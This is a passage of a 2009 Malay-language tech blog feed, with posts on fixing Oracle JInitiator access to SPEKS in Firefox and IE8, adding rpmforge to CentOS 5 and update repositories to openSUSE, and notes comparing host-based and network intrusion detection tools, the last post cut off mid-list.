style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_Pk16G7RhVRE/Szr8F1B8aaI/AAAAAAAAAg8/Iw9Yec5kggY/s1600-h/img_3141_tux_oracle1_100x75.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="105" src="http://4.bp.blogspot.com/_Pk16G7RhVRE/Szr8F1B8aaI/AAAAAAAAAg8/Iw9Yec5kggY/s320/img_3141_tux_oracle1_100x75.gif" width="95" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;Hari ni memang kerja aku update ilmu je la...huhu. Takpe seronok tolong orang..So pagi tadi JT aku ada call tanya pasal problem running SPEKS untuk Mozilla Firefox even version 3.5.6 pun. Aku terkejut gak sebab sebelum ni memang oracle JInitator memang tak support dan nampak takde hasrat pun nak support untuk IE 8 tapi Mozilla Firefox adalah solutionnya untuk running SPEKS. Aku tak sangka rupenye Windows XP SP3 ada kesan yang mendalam dan menyusahkan kepada pengguna SPEKS ni. Tak pasti samada masalah ni memang sah dan berlaku kat semua user Windows SP3. Untuk browser IE ni cuma versi 7 sahaja maksimum yang boleh guna SPEKS padanya. Aku ada call JT Rompin tanya masalah pernah hadapi disana. Katanya PC guna SPEKS kebiasannya guna Windows SP2. Aku rasa kalau update SP3 memang dah kena guna IE8 rasanya ia default dalam tu. Problemnya sebenarnya versi JVM dalam oracle JI tu je yang tak support untuk IE baru ni.&lt;br /&gt;&lt;br /&gt;So hasil googelan aku, berikut solution kepada masalah akses SPEKS pada PC guna Mozilla Firefox dan&lt;br /&gt;Internet Explorer 8 :&lt;br /&gt;-------------------------------------------- &lt;br /&gt;Test Bed PC Aku :&lt;br /&gt;OS : Windows XP SP3&lt;br /&gt;IE : VERSI 8&lt;br /&gt;Firefox : VERSI 3.5.6&lt;br /&gt;--------------------------------------------&lt;br /&gt;&amp;nbsp;1) Check PC tu sama ada dah install Oracle JI ke belum. Biasanya kalau SPEKS kat pahang ni guna Oracle JI 1.3.1.26 sebab di server dah install versi tu. So takleh nk up to date gak..&lt;br /&gt;2) Kalau nak bersih, kita uninstall dulu Oracle JI tu dan kemudian install semula &lt;a href="http://app.siape.gba.gov.ar/forms/jinitiator/us/jinit_download.htm"&gt;Oracle JI 1.3.26&lt;/a&gt;&lt;br /&gt;3) Download JRE 1.5.22. Leh download dari &lt;a href="http://java.sun.com/javase/downloads/index_jdk5.jsp"&gt;website&lt;/a&gt; ni. Klik untuk download bagi Java Runtime Environment (JRE) 5.0 Update 22. Site lain untuk download nanti aku kemaskini semula artikel ni. Bagi staff ofis aku download dari ftp://storageuptm.pahangnet/TECH TOOLS/BROWSER/&lt;br /&gt;4) Install software tu sampai siap&lt;br /&gt;5) Seterusnya buka folder C:\Program Files\Java\jre1.5.0_22\bin\client dan copy file jvm.dll (versi 5.0.220.3)&lt;br /&gt;6) Seterusnya buka folder C:\Program Files\Oracle\JInitiator 1.3.1.26\bin\hotspot dan rename file jvm.dll kepada jvm.dll~&lt;br /&gt;7) Paste file yang copy tadi ke dalam folder tersebut&lt;br /&gt;8) Buka Firefox dan taip http://speks.pahang.gov.my InsyaAllah berjaya.&lt;br /&gt;9) Lepas aku secara tak sengaja tertest IE 8. ek eh..boleh le pulak...amin...ehhee..&lt;br /&gt;&lt;br /&gt;Kalau cara di atas ni tak berjaya di tempat anda, cuba gunakan IE Standalone versi 7. Boleh download di &lt;a href="http://ie7-standalone.en.softonic.com/"&gt;website &lt;/a&gt;ni. Mula-mula unsinstall Oracle JI dan install semula Oracle JI 1.3.1.26. Seterusnya install IE Standalone versi 7 ni. Follow step sama macam atas dan test menggunakan IE 7. InsyaAllah ok.&lt;br /&gt;&lt;br /&gt;Kalau tak berjaya juga guna IE 6 ikut step sama bagi IE 7. Download dari &lt;a href="http://multiple-internet-explorer.en.malavida.com/d3165-free-download-windows"&gt;website &lt;/a&gt;ni.&lt;br /&gt;&lt;br /&gt;Tambahan :&lt;br /&gt;&lt;br /&gt;-------------------------------------------- &lt;br /&gt;Test Bed PC Aku :&lt;br /&gt;OS : Windows VISTA Home Premium SP2&lt;br /&gt;IE : VERSI 8&lt;br /&gt;Firefox : VERSI 3.5.6&lt;br /&gt;--------------------------------------------&lt;br /&gt;Aku gunakan kaedah sama seperti test bed aku atas Windows XP. Ya! SPEKS boleh dibuka di IE 8 dan Mozilla Firefox. Cuma ada keluar popup mengatakan file-file berikut&amp;nbsp; :&lt;br /&gt;a) ffisamp.dll&lt;br /&gt;b) jacob.dll&lt;br /&gt;c) JNIsharedstubs.dll&lt;br /&gt;d) d2kwut60.dll&lt;br /&gt;tak boleh dicopy ke dalam folder C:\Program Files\Oracle\JInitiator 1.3.1.26\bin sebab masalah file permission. Jadi skang ni download file-file tu dan copy manual ke dalam path tersebut. Tapi bile aku test semula macam sama je keluar gak pop up mesej tu. Mungkin file DLL di copy tu kena register dulu. Dah test try register guna command "regsvr32 jacob.dll" tapi keluar error tak boleh register...yang tu aku tak sempat nk explore lebih lagi.&lt;br /&gt;&lt;br /&gt;Aku tak test sama ada dengan ignore je error pop up mesej tu SPEKS berjalan lancar. Yang ni kena tanya JT la..sebab mereka lagi dekat dengan user..&lt;br /&gt;&lt;br /&gt;Yay! Windows Vista dan XP boleh guna...dan aku rasa guna Linux pun ok ni..tu blom cuba lagi..letih dah aku mencuba..korang lak cuba..hehe..&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;SELAMAT BERJAYA!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;~ Be a Creator Not a User ~&lt;br /&gt;http://muzzotechspot.blogspot.com&lt;br /&gt;http://muzzoshah.blogspot.com&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/907989761847606873-8529111649390068437?l=muzzotechspot.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muzzotechspot.blogspot.com/feeds/8529111649390068437/comments/default' title='Catat Ulasan'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=907989761847606873&amp;postID=8529111649390068437&amp;isPopup=true' title='6 Ulasan'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/8529111649390068437'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/8529111649390068437'/><link rel='alternate' type='text/html' href='http://muzzotechspot.blogspot.com/2009/12/speks-problem-with-oracle-jinitiator-on.html' title='SPEKS problem with Oracle JInitiator on Mozilla Firefox and IE8'/><author><name>muzzo</name><uri>http://www.blogger.com/profile/07681971727871823869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_Pk16G7RhVRE/SbZginnrT5I/AAAAAAAAATg/2z8zrwlSzzM/S220/muzzoshah.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_Pk16G7RhVRE/Szr8F1B8aaI/AAAAAAAAAg8/Iw9Yec5kggY/s72-c/img_3141_tux_oracle1_100x75.gif' height='72' width='72'/><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-907989761847606873.post-7611452526643539273</id><published>2009-12-30T09:33:00.001+08:00</published><updated>2009-12-30T09:35:32.411+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='CentOS'/><category scheme='http://www.blogger.com/atom/ns#' term='Command Line'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>How to Update Repository site on CentOS 5</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_Pk16G7RhVRE/SzqpsVYz2PI/AAAAAAAAAgk/nfueFB9xZys/s1600-h/tux-centos.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_Pk16G7RhVRE/SzqpsVYz2PI/AAAAAAAAAgk/nfueFB9xZys/s320/tux-centos.png" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Ok untuk openSUSE aku dah terangkan kaedah nak update repository tersebut. Skang ni aku nak terang cara setup repository rpmforge sebagai tambahan dalam Centos 5. Untuk makluman, default installation centos dah ada Centos-Base Repo dah dalam tu dengan refer kepada site2 repository centos. Skang ni kita nak tambah untuk refer dari rpmforge yang ada lagi banyak update patch dan komuniti yang memang established sekian lama membantu komuniti linux berkongsi patch dan update.&lt;br /&gt;&lt;br /&gt;Langkah-langkahnya :&lt;br /&gt;&lt;br /&gt;1) Buka putty dan ssh ke server CentOS tersebut. run command berikut : yum install yum-priorities&lt;br /&gt;&lt;div class="line862"&gt;2) Pastikan yum-priorities enable dengan edit file &lt;b&gt;/etc/yum/pluginconf.d/priorities.conf&lt;/b&gt; , seterusnya pastikan line berikut ada dalam file tersebut :&lt;br /&gt;&lt;/div&gt;&lt;div class="line862"&gt;&lt;span id="line-33"&gt;&lt;/span&gt;&lt;span id="line-34"&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="line867"&gt;&lt;span id="line-35"&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;pre&gt;[main]&lt;br /&gt;&lt;span id="line-36"&gt;&lt;/span&gt;enabled=1&lt;/pre&gt;&lt;br /&gt;&lt;div class="line862"&gt;3) Edit file &lt;b&gt;.repo files in /etc/yum.repos.d/&lt;/b&gt; dan tetapkan priorities dengan menambah line berikut :&lt;br /&gt;&lt;/div&gt;&lt;pre&gt;priority=N&lt;br /&gt;&lt;span id="line-43"&gt;&lt;/span&gt;&lt;/pre&gt;&lt;span id="line-44"&gt;&lt;/span&gt;&lt;span id="line-45"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line874"&gt;N adalah integer dari 1-99&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="line874"&gt;&lt;span id="line-46"&gt;&lt;/span&gt;&lt;span id="line-47"&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="line874"&gt;Setting berikut juga boleh ditetapkan ikut jenis repository dan ianya lebih kemas :&lt;span id="line-48"&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;pre&gt;[base], [addons], [updates], [extras] ... priority=1 &lt;br /&gt;&lt;span id="line-49"&gt;&lt;/span&gt;[centosplus],[contrib] ... priority=2&lt;br /&gt;&lt;span id="line-50"&gt;&lt;/span&gt;Third Party Repos seperti rpmforge ... priority=N  (N adalah &amp;gt; 10 dan berdasarkan penetapan anda)&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;4) Sekarang kita baru install repository rpmforge : taip cd /opt/&lt;br /&gt;5) UntukSeterusnya taip :&lt;br /&gt;wget http://apt.sw.be/redhat/el5/en/i386/RPMS.dag/rpmforge-release-0.3.6-1.el5.rf.i386.rpm (32 bit OS)&lt;br /&gt;wget http://apt.sw.be/redhat/el5/en/x86_64/RPMS.dag/rpmforge-release-0.3.6-1.el5.rf.x86_64.rpm (64 bit OS)&lt;br /&gt;6) Seterusnya taip berikut untuk install DAG's GPG Key :&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;rpm --import http://dag.wieers.com/rpm/packages/RPM-GPG-KEY.dag.txt&lt;/pre&gt;&lt;pre&gt;&lt;/pre&gt;7) Kemudian taip berikut untuk sahkan file yang didownload tadi :&lt;br /&gt;&lt;pre&gt;rpm -K rpmforge-release-0.3.6-1.el5.rf.*.rpm&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;8) Seterusnya install RPM tersebut :&lt;br /&gt;&lt;pre&gt;rpm -i rpmforge-release-0.3.6-1.el5.rf.*.rpm&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;9) Selesai dah install, untuk uji taip command berikut dan akan keluar result software yang perlu update :&lt;br /&gt;&lt;pre&gt;yum check-update&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;10)&amp;nbsp; Nak uji lagi, try install mplayer :&lt;br /&gt;&lt;pre&gt;yum install mplayer&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Kalau keluar installation package dia download dan kemudian minta install software tu maka anda dah berjaya tambah repo rpmforge dalam centOS 5&lt;br /&gt;&lt;br /&gt;~ Be a Creator Not a User ~&lt;br /&gt;http://muzzotechspot.blogspot.com&lt;br /&gt;http://muzzoshah.blogspot.com&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/907989761847606873-7611452526643539273?l=muzzotechspot.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muzzotechspot.blogspot.com/feeds/7611452526643539273/comments/default' title='Catat Ulasan'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=907989761847606873&amp;postID=7611452526643539273&amp;isPopup=true' title='0 Ulasan'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/7611452526643539273'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/7611452526643539273'/><link rel='alternate' type='text/html' href='http://muzzotechspot.blogspot.com/2009/12/how-to-update-repository-site-on-centos.html' title='How to Update Repository site on CentOS 5'/><author><name>muzzo</name><uri>http://www.blogger.com/profile/07681971727871823869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_Pk16G7RhVRE/SbZginnrT5I/AAAAAAAAATg/2z8zrwlSzzM/S220/muzzoshah.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_Pk16G7RhVRE/SzqpsVYz2PI/AAAAAAAAAgk/nfueFB9xZys/s72-c/tux-centos.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-907989761847606873.post-5149789330258673855</id><published>2009-12-29T15:39:00.001+08:00</published><updated>2009-12-29T15:43:03.054+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Open Source'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='OpenSUSE'/><title type='text'>How to Update Repository site on openSUSE 10.2</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_Pk16G7RhVRE/Szmy_0aBN1I/AAAAAAAAAgU/Smd_DhCcI8Y/s1600-h/tux-opensuse.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_Pk16G7RhVRE/Szmy_0aBN1I/AAAAAAAAAgU/Smd_DhCcI8Y/s320/tux-opensuse.png" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Aku ada terangkan cara nak buat dalam artikel aku sebelum ni. So cara-cara untuk update bagi versi 10.2 tu sama je stepnya. Interface sama skrin biru, cuma ada menu2 baru je dalam tu. Basically menu untuk update repository adalah sama.&lt;br /&gt;&lt;br /&gt;Info bertukar :&lt;br /&gt;&lt;br /&gt;1) Step ke 4 tukar kepada Pilih Software &amp;gt; Installation Source&lt;br /&gt;&lt;br /&gt;2)&amp;nbsp; Step 5 maksudnya sama cuma antaramukanya sahaja berbeza, dah pilih Add, kena pilih format HTTP/FTP dan seterusnya kemaskini dan kemudian pilih Next.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;3) Info repository site adalah berlainan iaitu :&lt;br /&gt;&lt;br /&gt;Server Name :suse.inode.at&lt;br /&gt;Directory On Server :&amp;nbsp; /pub/update/10.2/&lt;br /&gt;&lt;br /&gt;Server Name : ftp.univie.ac.at&lt;br /&gt;Directory On Server :&amp;nbsp; /systems/linux/suse/update/10.2/&lt;br /&gt;&lt;br /&gt;Server Name : ftp.uni-kl.de&lt;br /&gt;Directory On Server :&amp;nbsp; /pub/linux/suse/update/10.2/&lt;br /&gt;&lt;br /&gt;Lelain semuanya sama je...so selamat mencuba...&lt;br /&gt;&lt;br /&gt;~ Be a Creator Not a User ~&lt;br /&gt;http://muzzotechspot.blogspot.com&lt;br /&gt;http://muzzoshah.blogspot.com&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/907989761847606873-5149789330258673855?l=muzzotechspot.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muzzotechspot.blogspot.com/feeds/5149789330258673855/comments/default' title='Catat Ulasan'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=907989761847606873&amp;postID=5149789330258673855&amp;isPopup=true' title='0 Ulasan'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/5149789330258673855'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/5149789330258673855'/><link rel='alternate' type='text/html' href='http://muzzotechspot.blogspot.com/2009/12/how-to-update-repository-site-on.html' title='How to Update Repository site on openSUSE 10.2'/><author><name>muzzo</name><uri>http://www.blogger.com/profile/07681971727871823869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_Pk16G7RhVRE/SbZginnrT5I/AAAAAAAAATg/2z8zrwlSzzM/S220/muzzoshah.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_Pk16G7RhVRE/Szmy_0aBN1I/AAAAAAAAAgU/Smd_DhCcI8Y/s72-c/tux-opensuse.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-907989761847606873.post-6421104906530009633</id><published>2009-12-29T14:20:00.002+08:00</published><updated>2009-12-29T14:21:18.263+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='OpenSUSE'/><title type='text'>How to install Repository Site on OpenSUSE 9.3</title><content type='html'>Kali ni aku akan ceritakan cara nak install dan update repository under openSUSE versi lama. Aku explore mende ni selepas di pejabat aku masih ada server guna versi openSUSE 9.3 ni. Ikutkan sekarang ni dah versi openSUSE 11.3 dah...bapokle jauhnya tertinggei..&lt;br /&gt;&lt;br /&gt;Langkah-langkahnya :&lt;br /&gt;&lt;br /&gt;1) Login SSH ke server guna putty&lt;br /&gt;2) Taip : yast2&lt;br /&gt;3) Skrin berikut akan keluar&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_Pk16G7RhVRE/SzmfFsLjwtI/AAAAAAAAAfs/yRv77g5ZU4o/s1600-h/opensuse1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_Pk16G7RhVRE/SzmfFsLjwtI/AAAAAAAAAfs/yRv77g5ZU4o/s320/opensuse1.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;4) (Gunakan key anak panah kiri dan kanan untuk gerakkan ke menu pilihan) Pilih Software &amp;gt; Change Source of Installation, skrin berikut akan terpapar.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_Pk16G7RhVRE/SzmfG7dApTI/AAAAAAAAAf0/rP9hrnKeWMg/s1600-h/opensuse2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_Pk16G7RhVRE/SzmfG7dApTI/AAAAAAAAAf0/rP9hrnKeWMg/s320/opensuse2.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;5) Tekan Alt+A untuk tambah repository dan pilih HTTP seperti skrin berikut&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_Pk16G7RhVRE/SzmfICgm-UI/AAAAAAAAAf8/UdoztTk4_ko/s1600-h/opensuse3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_Pk16G7RhVRE/SzmfICgm-UI/AAAAAAAAAf8/UdoztTk4_ko/s320/opensuse3.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;6) Skrin berikut akan terpapar dan isikan maklumat berikut :&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_Pk16G7RhVRE/SzmfJBaIeiI/AAAAAAAAAgE/7aRPBrT9PJc/s1600-h/opensuse4.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_Pk16G7RhVRE/SzmfJBaIeiI/AAAAAAAAAgE/7aRPBrT9PJc/s320/opensuse4.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Server Name : ftp.gwdg.de&lt;br /&gt;Directory On Server :&amp;nbsp; /pub/linux/misc/suser-scorot/suse93/&lt;br /&gt;&lt;br /&gt;--------------------------------------&lt;br /&gt;&lt;br /&gt;Kemudian tekan Alt+ O untuk simpan&lt;br /&gt;Ulang langkah sama bagi repository berikut :&lt;br /&gt;&lt;br /&gt;Server Name : ftp.gwdg.de&lt;br /&gt;Directory On Server :&amp;nbsp; /pub/linux/misc/suser-guru/rpm/9.3/&lt;br /&gt;&lt;br /&gt;Server Name : ftp.gwdg.de&lt;br /&gt;Directory On Server :&amp;nbsp; /pub/linux/misc/suser-guru/rpm/10.0/&lt;br /&gt;&lt;br /&gt;Server Name : ftp.gwdg.de&lt;br /&gt;Directory On Server :&amp;nbsp; /pub/linux/misc/suser-scorot/suse100/&lt;br /&gt;&lt;br /&gt;** Kadang-kadang ada patch versi openSUSE 10.0 boleh digunakan dalam versi openSUSE 9.3&lt;br /&gt;&lt;br /&gt;7) Setelah selesai 4 repository site dimasukkan, taip Alt+F&lt;br /&gt;&lt;br /&gt;8) Kemudian (Gunakan key anak panah kiri dan kanan untuk gerakkan ke menu pilihan) Pilih Software &amp;gt; System Update, skrin berikut akan terpapar.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_Pk16G7RhVRE/SzmfJ3D1_NI/AAAAAAAAAgM/3uppbauLeTQ/s1600-h/opensuse5.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_Pk16G7RhVRE/SzmfJ3D1_NI/AAAAAAAAAgM/3uppbauLeTQ/s320/opensuse5.JPG" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;9) Tekan Alt+N / Alt+A (biasa untuk 10.2 Alt+A) untuk teruskan dengan update system patch. Ikut arahan seterusnya dan anda selesai install repository site dan kemaskini patch di server anda.&lt;br /&gt;&lt;br /&gt;10) Untuk update sesetengah software, taipkan yast2 update &lt;nama servis="" software=""&gt;&lt;/nama&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;Selamat mencuba!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;~ Be a Creator Not a User ~&lt;br /&gt;http://muzzotechspot.blogspot.com&lt;br /&gt;http://muzzoshah.blogspot.com&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/907989761847606873-6421104906530009633?l=muzzotechspot.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muzzotechspot.blogspot.com/feeds/6421104906530009633/comments/default' title='Catat Ulasan'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=907989761847606873&amp;postID=6421104906530009633&amp;isPopup=true' title='0 Ulasan'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/6421104906530009633'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/6421104906530009633'/><link rel='alternate' type='text/html' href='http://muzzotechspot.blogspot.com/2009/12/how-to-install-repository-on-opensuse.html' title='How to install Repository Site on OpenSUSE 9.3'/><author><name>muzzo</name><uri>http://www.blogger.com/profile/07681971727871823869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_Pk16G7RhVRE/SbZginnrT5I/AAAAAAAAATg/2z8zrwlSzzM/S220/muzzoshah.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_Pk16G7RhVRE/SzmfFsLjwtI/AAAAAAAAAfs/yRv77g5ZU4o/s72-c/opensuse1.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-907989761847606873.post-3223174418423553419</id><published>2009-11-18T20:30:00.005+08:00</published><updated>2009-12-29T14:43:38.521+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Network'/><category scheme='http://www.blogger.com/atom/ns#' term='Open Source'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Symantec'/><title type='text'>Different between HIDS and NIDS</title><content type='html'>&lt;div style="text-align: justify;"&gt;Aku akan share serba sedikit tentang apa yang dapat dari kursus security aku disini. So mula dengan perbezaan 2 jenis IDS ni dulu la. Sebab aku baru belajar tadi.&lt;br /&gt;&lt;br /&gt;Intrusion Detection System (IDS) ni ada 2 jenis iaitu :&lt;br /&gt;1) Host IDS&lt;br /&gt;2) Network IDS&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Host IDS (HIDS)&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;HIDS ni biasanya perlu diinstall pada satu-satu pc atau server yang ingin dilindungi&lt;/li&gt;&lt;li&gt;Ianya berfungsi untuk memantau aktiviti PC/Server dan detect sebarang DoS/DDoS attack, port scan, keylogger dan cubaan nak crack PC&lt;/li&gt;&lt;li&gt;Ia juga turut memantau aktiviti malicious yang dikenal pasti dari luar ke dalam PC dan dari PC ke luar dan dari dalam ke dalam PC tersebut sendiri&lt;/li&gt;&lt;li&gt;Namun ianya hanya akan berfungsi untuk mengawal sebarang cubaan dari luar atau peer yang cuba melakukan aktiviti malicious kepada PC/Server tersebut sahaja. Maksudnya kita ada PC A (Attacker), PC B (Client-HIDS), PC C (Client). So PC A cuba attack PC B yang ada HIDS jadi HIDS PC tu cuma akan detect sebarang serangan kepada PC tersebut sahaja. Jika PC A serang PC C, maka PC (B) tak akan tahu. Itu antara kelemahan HIDS kerana ianya hanya berfungsi untuk mengawal machine/host sahaja dan bukan seluruh network&lt;/li&gt;&lt;li&gt;HIDS tu boleh membuat scanning pada objek2 tertentu dalam PC tersebut dan menyediakan objek-database dan checksum-database bagi memastikan integriti proses yang dijalankan objek dipercayai dari sumber yang sah&lt;/li&gt;&lt;li&gt;Kadangkala worm dan virus akan cuba untuk diasble antivirus apabila cubaan untuk kawal PC tersebut, jadi HIDS akan kenalpasti aktiviti tersebut berdasarkan objek-database yang ada dan pastikan aktiviti tersebut dihalang.&lt;/li&gt;&lt;li&gt;Contoh tools yang boleh digunakan sebagai HIDS :&lt;/li&gt;&lt;/ul&gt;1) Snort : GPL dan Free :&lt;br /&gt;- Tiada GUI untuk kawal dan buat konfigurasi kepada HIDS tersebut&lt;br /&gt;- Menggunakan kaedah command line interface dan menjurus kepada text base report&lt;br /&gt;- Memerlukan pengetahuan lebih dalam linux dan command line untuk laksanakannya&lt;br /&gt;- Log paparan mungkin perlukan pengetahuan difahami&lt;br /&gt;- Alert perlu sentiasa dibuat secara manual kepada pemantauan aktiviti menggunakan log&lt;br /&gt;&lt;br /&gt;2) KFSensor : Trial dan License :&lt;br /&gt;- Ada GUI yang kemas dan mempunyai database pattern serangan yang boleh diupdate dari internet&lt;br /&gt;- Ada sensor yang mengeluarkan bunyi apabila mengesan sebarang cubaan attack dari luar kepada PC/Server tersebut namun bunyinye mungkin agak perlahan untuk didengar jika menggunakan speaker PC/Server tersebut.&lt;br /&gt;- Mempunyai wizard konfigurasi yang lebih mudah dan tidak memerlukan pengetahuan yang tinggi untuk melaksanakannya&lt;br /&gt;&lt;br /&gt;3) BlackIce (Discontinued support tapi still available to use)&lt;br /&gt;- Dulunya free dan setelah diambil alih oleh IBM ianya ditukar nama dari blackice defender kepada blackice protection&lt;br /&gt;- Ianya telah dicontinued pada 29 September 2008 dan tiada support dah tool ni.&lt;br /&gt;- Ianya ada banyak features yang menarik. Tapi aku tak sempat explore lagi tools ni.&lt;br /&gt;- Ada GUI untuk memudahkan kawalan dan pemantauan&lt;br /&gt;&lt;br /&gt;4) Symantec Endpoint Protection : License&lt;br /&gt;- Antara muka yang kemas&lt;br /&gt;- Mempunyai database IDS yang boleh dikemaskini dari internet/parent server&lt;br /&gt;- Pattern update on IDS boleh dikawal oleh satu server management dan sentiasa dipantau untuk pastikan sentiasa up to date&lt;br /&gt;- Konfigurasi juga boleh dikawal oleh server management dan tidak memerlukan sebarang tindakan konfigurasi dari client&lt;br /&gt;- Lebih sesuai untuk pelaksanaan big agensi&lt;br /&gt;- Alert akan dipapar secara pop up message alert kepada client dan turut boleh di disable jika tidak diperlukan.&lt;br /&gt;&lt;br /&gt;5) OSSEC - Open source Host-Based Intrusion 